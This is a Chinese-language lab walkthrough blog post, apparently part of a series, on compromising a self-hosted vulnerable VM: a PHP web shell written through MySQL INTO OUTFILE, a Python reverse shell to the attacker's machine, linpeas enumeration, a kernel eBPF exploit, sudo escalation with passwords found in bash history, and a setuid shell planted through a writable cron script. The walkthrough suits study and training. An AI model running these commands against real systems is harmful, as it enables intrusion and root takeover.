





安全同时被3个专栏收录

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订阅专栏



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订阅专栏



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声明:本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

建议阅读上一篇后再来阅读本文!!!

六、Mysql攻陷服务器

1、mysql INTO OUT文件上传

MySQL中你可以使用SELECT...INTO OUTFILE语句来简单的导出数据到文本文件上。

✦ MySQL 及 SQL 注入

MySQL 导出数据

MySQL中你可以使用SELECT...INTO OUTFILE语句来简单的导出数据到文本文件上。

使用 SELECT ... INTO OUTFILE 语句导出数据

以下实例中我们将数据表 runoob_tbl 数据导出到 /tmp/runoob.txt 文件中:

mysql> SELECT * FROM runoob_tbl
 -> INTO OUTFILE '/tmp/runoob.txt';

1) INTO OUT 写入shell.php

```
mysql -uroot -pplbkac -h 192.168.40.152
select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.p
hp";
```

```
(most @ kmll ) - [~/Desktop]
    mysql -uroot -pplbkac -h 192.168.40.152 5 @
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.7.33-Oubuntu0.16.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blog
hlog/wp-content/uploads/shell.php";
Query OK, 1 row affected (0.001 sec)
```

可看到利用INTO OUT特性写入了一句话并导入到本地站目录上!

2) 查看是否写入成功

https://192.168.40.152:12380/blogblog/wp-content/uploads/



ኛ Kali Linux 🖹 Kali Training 🖹 Kali Tools 🖹 Kali Forums 🧧 Kali Docs NetHunter 📕 Offensive Security

▣

Index of /blogblog/wp-content/uploads

	Name	Last modified	Size Description
	Parent Directory		
5	<u>11.gif</u>	2022-04-06 02:26	771
5	<u>193104749.jpeg</u>	2022-04-04 16:54	3.0K
2	msf.php	2022-04-06 02:50	33K
?	php-reverse-shell.php	2022-04-04 18:17	5.4K
2	shell.php	2022-04-06 02:55	39
?	test.php	2022-04-06 02:38	774
?	webacoo.php	2022-04-06 02:43	576

Apache/2.4.18 (Ubuntu) Server at 192.168.40.152 Port 12380

写入成功!

3) URL执行 cmd 命令

https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=id

$\overleftarrow{} \rightarrow \overleftarrow{}$	ŵ	0 🔒	https:// 1 9	2.168.40.152:1	2380/blogblog	g/wp-content/u	ploads/shell.p 🚥 🗵
	💐 Kali Traini	ng 📉 K	ali Tools	🗙 Kali Forum	s 🧧 Kali Docs	र NetHunter	📕 Offensive Security
uid=33(www-	data) gid=33	(www-d	ata) grou	ups=33(www-d	ata)		

可看到一句话成功写入,利用一句话特性执行了命令获得服务器信息回显!

- 2、一句话触发反弹shell
- 1) 查看是否可以用Python写入一句话

https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=which%20python



/usr/bin/python

存在python模块! 直接利用!

2) 开启nc监听

nc -lvp 8887

└─ # nc -lvp 8887	
listening on [any] 8887	

本地kali开启好监听!

3) 在cmd URL写入Python一句话,反弹shell到本地kali

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40
.149",8887));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-
i"]);'
```



反弹成功,获得shell

七、内网信息枚举

通过以上各种方法获取到服务器权限后,开启内部信息收集工作!将利用linpeas枚举脚本进行探测行为!

- 【相关技术文档】
- 1、网络安全学习路线
- 2、电子书籍(白帽子)
- 3、安全大厂内部视频
- 4、100份src文档
- 5、常见安全面试题
- 6、ctf大赛经典题目解析
- 7、全套工具包
- 8、应急响应笔记

1、Linpeas文件上传

开启Python http服务,上传linpeas.sh脚本对靶机进行信息收集:

python -m SimpleHTTPServer 8082 wget http://192.168.40.149:8082/linpeas.sh



成功上传!

2、赋权并执行脚本

chmod +x linpeas.sh /linpeas.sh



赋权后执行该脚本,开始查看收集到的信息,筛查提炼!



可以尝试内核提权!

2) 发现用户信息枚举\



JKanode:x:1013:1013::/home/JKanode:/bin/bash peter:x:1000:1000:Peter,,,:/home/peter:/bin/zsh uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lp admin),114(sambashare)

peter用户可利用sudo提权!

3) 发现数据库信息泄露

[+] Searching Wordpress wp-config.php files /var/www/https/blogblog/wp-config.php define('DB_NAME', 'wordpress'); define('DB_USER', 'root'); define('DB_PASSWORD', 'plbkac'); define('DB_HOST', 'localhost');

之前已经查找到MySQL账户密码!内部也是能枚举到的!

4) 发现可写入sh文件

[+] .sh files in path
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
You can write script: /usr/local/sbin/cron-logrotate.sh
/usr/bin/gettext.sh

可尝试写入sh文件,漏洞利用提权!

八、提权-三种方法

- 1、内核提权-方法1
- 1) kali搜索版本信息,是否存在漏洞

查找版本漏洞:

searchsploit Linux Kernel 4.4.x

RX hytes:106399 (106.3 KB) [voot@ kali)-[~/Desktop] k searchsploit linux Kernel 4.4.X /bio/bash1)	1 0
Exploit Title	Path
<pre>Linux Kennel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation Linux Kennel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_s Linux Kennel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation Linux Kennel 4.10.7 / 4.14.3 (Ubunte) - DCCP Socket Use-After-Free Linux Kennel 4.4.8 (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation Linux Kennel 4.8.0 Ubtv < 232 - Local Privilege Escalation Linux Kennel 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service Linux Kennel < 4.10.15 - Race Condition Privilege Escalation Linux Kennel < 4.10.15 - Race Condition Privilege Escalation Linux Kennel < 4.13.1 - BlueTooth Buffer Overflow (PoC) Linux Kennel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation Linux Kennel < 4.15.4 - 'show_floppy' KASLR Address Leak Linux Kennel < 4.15.4 - 'show_floppy' KASLR Address Leak Linux Kennel < 4.16.11 - 'ext4_read_inline_data()' Memory Corruption Linux Kennel < 4.4.0-21 (Ubuntu 16.04.4) - Local Privilege Escalation Linux Kennel < 4.4.0-21 (Ubuntu 16.04.4) - Local Privilege Escalation Linux Kennel < 4.4.0-21 (Ubuntu 16.04.4) - 'netfilter target_offset' Local Privilege Escalation (KASL Linux Kennel < 4.4.0-23 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation Linux Kennel < 4.4.0-21 (Ubuntu 16.04.4) - 'netfilter target_offset' Local Privilege Escalation (KASL Linux Kennel < 4.4.0-21 (Ubuntu 16.04.4) - 'netfilter target_offset' Local Privilege Escalation (KASL Linux Kennel < 4.4.0-21 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privil Linux Kennel < 4.5.1 - Off-By-One (PoC)</pre>	solaris/local/15962.c Linux/local/9479.c Linux/local/9479.c Linux/local/41995.c Know/dos/43234.c Linux/local/439772.txt Linux/local/4386.c Linux/local/4385.c Linux/local/4345.c Linux/local/45553.c Linux/local/45553.c Linux/local/45553.c Linux/local/45553.c Linux/local/45910.c Linux/local/45910.c Linux/local/44325.c Linux/local/44325.c Linux/local/44325.c Linux/local/44325.c Linux/local/44325.c Linux/local/44325.c Linux/local/44325.c Linux/local/44325.c Linux/local/44325.c Linux/local/44398.c Linux/local/44398.c Linux/local/44398.c Linux/local/44391.c
Shellcodes: No Results	

可以利用linux/local/39772.txt!

cp /usr/share/exploitdb/exploits/linux/local/39772.txt .



查看39772如何利用:

cat 39772.txt

root@kali)-[~/Desktop]
Lat <u>39772.txt</u>
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
In Linux ≥4.4, when the CONFIG_BPF_SYSCALL config option is set and the kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime, unprivileged code can use the bpf() syscall to load eBPF socket filter programs These conditions are fulfilled in Ubuntu 16.04.
When an eBPF program is loaded using bpf(BPF_PROG_LOAD,), the first function that touches the supplied eBPF instructions is replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF map file descriptors and looks up pointers for the corresponding map files. This is done as follows:
<pre>/* look for pseudo eBPF instructions that access map FDs and * replace them with actual map pointers */</pre>
<pre>static int replace_map_fd_with_map_ptr(struct verifier_env *env) </pre>
struct bpf_insn *insn = env→prog→insnsi; int insn_cnt = env→prog→len; int i, j;



提示需到exploit-DB下载39772.zip文件!

3) wget下载39772.zip

proxychains wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip



成功下载!如果不行挂代理下载!

4) 开启http服务,上传到项目

python -m SimpleHTTPServer 8085
wget http://10.211.55.19:8085/39772.zip



利用wget连接本地的http服务成功上传文件!

5) 解压并枚举

unzip 39772.zip 解压39772.zip文件 cd 39772 到39772目录下 tar xvf exploit.tar 解压exploit.tar,发现ebpf_mapfd_doubleput_exploit目录 cd ebpf_mapfd_doubleput_exploit 到该目录下,发现compile.sh文件 chmod +x compile.sh 给sh文件赋权



6) 执行文件提权

成功拿到root权限!

2、SSH-sudo登录内核提权-方法2

利用ssh信息收集技巧查看信息!

1) 枚举ssh信息

grep 指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设 grep 指令会把含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为-,则 grep 指令会从标准输入设备读取数据。

```
grep -rn "ssh" ---枚举当前目录下存在ssh信息的内容
```

```
w-data@red:/home$ grep -rn "ssh"
grep -rn "ssh
MFrei/.profile:8:# for ssh logins, install and configure the libpam-umask package.
Sam/.profile:8:# for ssh logins, install and configure the libpam-umask package.
CCeaser/.profile:8:# for ssh logins, install and configure the libpam-umask package.
www/.profile:8:# for ssh logins, install and configure the libpam-umask package.
DSwanger/.profile:8:# for ssh logins, install and configure the libpam-umask package.
JBare/.profile:8:# for ssh logins, install and configure the libpam-umask package.
mel/.profile:8:# for ssh logins, install and configure the libpam-umask package.
jess/.profile:8:# for ssh logins, install and configure the libpam-umask package.
MBassin/.profile:8:# for ssh logins, install and configure the libpam-umask package.
kai/.profile:8:# for ssh logins, install and configure the libpam-umask package.
elly/.profile:8:# for ssh logins, install and configure the libpam-umask package.
Drew/.profile:8:# for ssh logins, install and configure the libpam-umask package.
JLipps/.profile:8:# for ssh logins, install and configure the libpam-umask package.
jamie/.profile:8:# for ssh logins, install and configure the libpam-umask package.
Taylor/.profile:8:# for ssh logins, install and configure the libpam-umask package.
grep: peter/.viminfo: Permission denied
grep: peter/.viminto: permission de
peter/.zcompdump:173:'crsh' '_cssh'
peter/.zcompdump:176:'cssh' '_cssh'
peter/.zcompdump:951:'scp' '_ssh'
peter/.zcompdump:961:'sftp' '_ssh'
peter/.zcompdump:971:'slogin' '_ssh
                                                ssh
peter/.zcompdump:994:'ssh'
                                           _ssh
peter/.zcompdump:995:'ssh-add' '_ssh'
peter/.zcompdump:996:'ssh-agent' '_ss
peter/.zcompdump:996:'ssh-agent' '_ssh'
peter/.zcompdump:997:'ssh-copy-id' '_ssh'
peter/.zcompdump:998:'sshfs' '_sshfs'
peter/.zcompdump:999:'ssh
                                                ssh<sup>*</sup>_ssh
peter/.zcompdump:999:'ssh-keygen'
peter/.zcompdump:1373:'slogin' 'ssl
peter/.zcompdump:1469:
                                                    _cssh _csup _ctags_tags _curl _cut \
peter/.zcompdump:1560: ______ssh __sshfs __stat __stgit __store_cache \
grep: peter/.bash_history: Permission denied
grep: peter/.cache: Permission denied
peter/.profile:8:# for ssh logins, install and configure the libpam-umask package.
                                                                                                                mask package.
JKanode/.bash_history:6:sshpass -p thisimypassword ssh JKanode@localhost
JKanode/.bash_history:7:apt-get install sshpass
JKanode/.bash_history:8:sshpass -p JZQuyIN5 peter@localhost
JKanode/.profile:8:# for ssh logins, install and configure the libpam-umask package.
AParnell/.profile:8:# for ssh logins, install and configure the libpam-umask package.
CJoo/.profile:8:# for ssh logins, install and configure the libpam-umask package.
Eeth/.profile:8:# for ssh logins, install and configure the libpam-umask package.
RNunemaker/.profile:8:# for ssh logins, install and configure the libpam-umask package.
SHAY/.profile:8:# for ssh logins, install and configure the libpam-umask package.
ETollefson/.profile:8:# for ssh logins, install and configure the libpam-umask package.
IChadwick/.profile:8:# for ssh logins, install and configure the libpam-umask package.
LSolum2/.profile:8:# for ssh logins, install and configure the libpam-umask package.
SStroud/.profile:8:# for ssh logins, install and configure the libpam-umask package.
```

JKanode/.bash_history:6:sshpass -p thisimypassword ssh JKanode@localhost JKanode/.bash_history:8:sshpass -p JZQuyIN5 peter@localhost

发现2个用户密码:

用户1: peter,密码: JZQuyIN5 用户2: JKanode 密码: thisimypassword

这时候利用账号密码尝试登录!

2) ssh登录用户

JKanode用户登录枚举:

ssh JKanode@192.168.40.152
thisimypassword

```
li)-[~/Desktop]
        •
   ssh JKanode@192.168.40.152
                                                                 148
                                                                      20
The authenticity of host '192.168.40.152 (192.168.40.152)' can't be establi
shed.
ECDSA key fingerprint is SHA256:WuY26BwbaoIOawwEIZRaZGve4JZFaRo7iSvLNoCwyfA
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.40.152' (ECDSA) to the list of known ho
sts.
          Barry, don't forget to put a message here
JKanode@192.168.40.152's password:
Welcome back!
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
JKanode@red:~$ id
uid=1013(JKanode) gid=1013(JKanode) groups=1013(JKanode)
JKanode@red:~$
```

没什么信息!

peter用户登录枚举:

ssh peter@192.168.40.152 JZQuyIN5

<u> </u>		
1	ssh peter@192.168.40.152	2 💿
~ -	Barry, don't forget to put a message here	
pete Welc	er@192.168.40.152's password: come back!	
This	; is the Z Shell configuration function for new users,	
zsh- You (the ~). make	newuser-install. are seeing this message because you have no zsh startup files files .zshenv, .zprofile, .zshrc, .zlogin in the directory This function can help you with a few settings that should your use of the shell easier.	
You	SHAY, profile:8:0 for set loging, install and configure the libpam-unask package. can: teleford profile:8:0 for set loging, install and configure the libpam-unask package.	
(q)	Quit and do nothing. The function will be run again next time.	
(0)	Exit, creating the file ~/.zshrc containing just a comment. That will prevent this function being run again.	
(1)	Continue to the main menu.	
(2)	Populate your ~/.zshrc with the configuration recommended by the system administrator and exit (you will need to edit the file by hand, if so desired).	
'	Type one of the keys in parentheses	
Abor he to	ting. function will be run again next time. To prevent this, execute: buch ~/.zshrc	
red% uid= asha	6 1d 1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),11 are)	4(samb

登录进去发现这是zsh的shell!,并且可以sudo提权!

3) sudo提权

用户信息枚举就发现peter用户存在sudo提权漏洞,查看sudo给与的权限:

可看到给与的权限为ALL最高权限!直接sudo提权:

sudo su

```
toucn
          /.zsnr@
red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(samb
ashare)
red% sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
    #1) Respect the privacy of others.
#2) Think before you type.
    #3) With great power comes great responsibility.
[sudo] password for peter:
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User peter may run the following commands on red:
(ALL : ALL) ALL
red% sudo su
     eter id
uid=0(root) gid=0(root) groups=0(root)
   peter
```

成功提权root!

3、计划任务+可写文件提权-方法3

在内网信息枚举的时候发现可写入sh文件漏洞利用:

```
[+] .sh files in path
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
You can write script: /usr/local/sbin/cron-logrotate.sh
```

1) 查找和logrotate相关的文件信息

利用find全局枚举该文件信息:

find / -name logrotate* 2>/dev/null

发现/etc/cron.d/logrotate文件!

2) 查看/etc/cron.d/logrotate文件

cat /etc/cron.d/logrotate
*/5 * * * * root /usr/local/sbin/cron-logrotate.sh

可看到每五分钟运行一次cron-logrotate.sh!

3) 写入dash代码

echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-lo grotate.sh

cat /usr/local/sbin/cron-logrotate.sh

通过写入代码内容为,复制dash到tmp目录下并赋予最高权限!在tmp目录下生成了exploit可执行文件!

4)运行exploit,获得root权限

/tmp/exploit -p

因为写入的是dash,用-p获取root

获得root权限!获得flag:

cd /root		
cat flag.txt		

获得flag信息!

九、知识拓展小技巧

smbclient连接共享小技巧

Linux smbclient命令可存取SMB/CIFS服务器的用户端程序。

SMB与CIFS为服务器通信协议,常用于Windows95/98/NT等系统。smbclient(samba client)可让Linux系统存取Windows系统所分享的资源。

<pre>(root@ kali)-[~/Desktop] smbclient -L //192.168.40.152 Enter WORKGROUP\root's password:</pre>	
Sharename Type D	Comment
print\$Disk kathyDisk tmpDisk IPC\$IPC	Printer Drivers Fred, What are we doing here? All temporary files should be stored here IPC Service (red server (Samba, Ubuntu))
SMB1 disabled no workgroup avai	ilable

smbclient -L //192.168.40.152 -L 显示服务器端所分享出来的所有资源

之前已知kathy和tmp是开放的!

1) 连接这2个文件夹

连接kathy文件夹:

smbclient ///kathy -I 192.168.40.152 -N -I<IP地址> 指定服务器的IP地址 -N 不用询问密码 cd kathy_stuff get todo-list.txt cd backup get vsftpd.conf get wordpress-4.tar.gz

peter/.zcompdump:1				
(root@kali)-[~/Deski	top]ory: Permission der			
🖵 📕 smbclient ///kathy	-I 192.168.40.152 -N			1 🗙
Try "help" to get a lis	t of possible commands.			
<pre>smb: \> lslett7.profile</pre>				
. JKanode/.bash_hist	ory:6:sshpass D thisin	0 Fri Jun 3 12:52:52 2016		
IKanode/ bash hist	ory:7:apt-get i D stall s	0 Mon Jun 6 17:39:56 2016		
kathy_stuff:bash_ ist	ory:8:sshpass -D JZQuy]	0 Sun Jun 5 11:02:27 2016		
backupmode/.profi.es8	:# for ssh logi D s, inst	0 Sun Jun 5 11:04:14 2016 Unask		
AParnell/.profiles				
CJ00/.profi19478204	4 blocks of size 1024.	5971088 blocks available unask pac		
<pre>smb: \> cd kathy_stuff</pre>				
<pre>smb: \kathy_stuff\> ls</pre>				
. SHAY/.profile:8:#	for ssh logins, D install	0 Sun Jun 5 11:02:27 2016 sk pac		
ETollefson/.p	e:8:# for ssh l D gins, i	0 Fri Jun 3 12:52:52 2016		
todo-list.txt profile	:8:# for ssh lc <mark>N</mark> ins, in	4 Sun Jun 5 11:02:27 2016		
LSolum2/.profile:8				
SStroud/ p119478204	4 blocks of size 1024.	5971088 blocks available		
<pre>smb: \kathy_stuff\> get</pre>	todo-list.txt			
getting file \kathy_stu	ff\todo-list.txt of siz	64 as todo-list.txt (8.9 KiloByte	s/sec) (average 8.9 KiloBytes/sec)	
<pre>smb: \kathy_stuff\> cd</pre>				
<pre>smb: \> cd backup</pre>				
smb: \backup\> ls				
•	D	0 Sun Jun 5 11:04:14 2016		
	D	0 Fri Jun 3 12:52:52 2016		
vsftpd.conf	olp php-ceven 59	1 Sun Jun 5 11:03:45 2016		
wordpress-4.tar.gz	shellpNp 63217	7 Mon Apr 27 13:14:46 2015		
19478204	4 blocks of size 1024.	5971088 blocks available		
smb: \backup\> get vsft	pd.conf			
getting file \backup\vs	tpd.conf of size 5961	s vsftpd.conf (342.4 KiloBytes/sec) (average 245.2 KiloBytes/sec)	
smb: \backup\> get word	press-4.tar.gz			
getting file \backup\wo	rdpress-4.tar.gz of siz	6321/6/ as wordpress-4.tar.gz (59	937.8 KiloBytes/sec) (average 48657.4 Ki	lloByte
s/sec)				
smb: \backup\>				

通过命令连接后发现三个文件信息都成功下载!

连接tmp文件夹:

连接tmp文件夹,下载文件Is至本地

```
smbclient ///tmp -I 192.168.40.152 -N
get ls
```

(root⊜keli)-[- ∦ smbclient ///t Try "help" to get	- /Desktop] :mp -I 192.10 a list of po	58.40.152 -N ossible command	ds.				
smb: \>							
smb: \> ls							
18 . I I I I I I I I I I I I I I I I I I		D	0 1	Tue Apr	5 21:50:07	2022	
· · · ·		D	0 1	Mon Jun	6 17:39:56	2016	
ls		N	274 9	Sun Jun	5 11:32:58	2016	
19	478204 block	ks of size 102	4. 15971	1088 blog	cks availabl	e	
<pre>smb: \> get ls</pre>							
<pre>getting file \ls o smb: \></pre>	of size 274 a	as ls (133.8 K	iloBytes	s/sec) (a	average 133.	8 KiloBytes/sec)	

通过命令连接后发现文件信息都成功下载!

2) 枚举文件信息

成功下载4个文件后,通过阅读查看均无可用信息!

十、总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧, 例如nmap全端口信息枚举、FTP信息枚举、Samba信息收集、暴力破解ssh信息枚举、nc信息枚举666端口、枚举12380端口信 息收集、Wpscan信息收集、39646 exp利用、Mysql信息枚举、John暴力破解、php-webshell文件上传利用、weevely文件上传利 用、webacoo文件上传利用、Msfconsole文件上传上线webshell、mysql INTO OUT文件上传攻陷服务器、Linpeas信息枚举、内 核提权、SSH-sudo登录内核提权、计划任务+可写文件提权等等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和 技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!

创作打卡挑战赛 赢取流量/现金/CSDN周边激励大奖